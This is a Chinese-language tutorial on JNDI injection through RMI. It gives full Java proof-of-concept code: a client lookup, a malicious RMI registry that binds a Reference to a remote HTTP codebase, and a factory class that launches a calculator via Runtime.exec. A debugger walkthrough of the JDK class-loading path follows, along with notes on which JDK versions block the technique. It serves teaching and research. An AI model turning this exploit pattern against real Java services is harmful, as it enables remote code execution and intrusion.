JNDI注入基礎
一、簡介
JNDI(The Java Naming and Directory Interface,Java命名和目錄接口)是一組在Java應用中通路命名和目錄服務的API,命名服務将名稱和對象聯系起來,使得我們可以用名稱通路對象。
這些命名/目錄服務提供者:
- RMI (JAVA遠端方法調用)
- LDAP (輕量級目錄通路協定)
- CORBA (公共對象請求代理體系結構)
- DNS (域名服務)
二、利用方式
在JNDI中有幾種利用方式,這節就來講一下RMI的利用方式
1.RMI的利用方式
用戶端:
package com.yy.JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
服務端:
package com.yy.JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
被遠端調用的惡意類:
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
}
這裡會執行四次,彈出四個電腦
debug斷點打在用戶端lookup處:

跟進javax.naming.InitialContext#getURLOrDefaultInitCtx
先進入getURLOrDefaultInitCtx方法
在第347行傳回了rmiURLContext對象
回到前面getURLOrDefaultInitCtx處,又調用lookup方法,就會調用其rmiURLContext父類的lookup
4)在lookup中,檢視getRootURLContext
getRootURLContext其實是一個接口,根據不同的協定來調用對應類的getRootURLContext方法
5)回到lookup,繼續跟進
跟進到RegistryContext#lookup中
這裡會去RMI注冊中心尋找hello對象,接着看下目前類的
decodeObject
方法
這裡的ReferenceWrapper_stub對象實作了RemoteReference接口
調用ReferenceWrapper_stub#getReference方法傳回的是一個Reference對象
是以前面的var3擷取到的是一個Reference對象
繼續跟進到getObjectInstance
跟進NamingManager#getObjectInstance,在NamingManager#getObjectInstance中,319行調用了getObjectFactoryFromReference
NamingManager#getObjectFactoryFromReference
146行先嘗試從本地CLASSPATH加載該class,再到158行根據factoryName和codebase加載遠端的class,跟進看下158行loadClass方法的實作
VersionHelper12#loadClass
這裡用了URLClassLoader去加載遠端類
跟進loadClass
執行完Class.forName就會加載這個類,進而執行到static方法
由于類的加載執行了static方法,伺服器日志出現了一條調用記錄
并且彈出了電腦
回到NamingManager#getObjectFactoryFromReference中,繼續執行了 clas.newInstance
這裡執行完就會調用代碼塊和無參構造方法,彈出兩個電腦
再往下會執行到321行,調用
getObjectInstance
此時會執行惡意類Calc中的getObjectInstance方法,彈出最後一個電腦。
2.RMI的利用版本限制
從jdk
8u121
7u131
6u141
版本開始
com.sun.jndi.rmi.object.trustURLCodebase
、
com.sun.jndi.cosnaming.object.trustURLCodebase
的預設值變為false
即預設不允許從遠端的Codebase加載Reference工廠類
是以切換8u121版本,運作會報錯(其實這裡的8u121就是網上所說的8u113)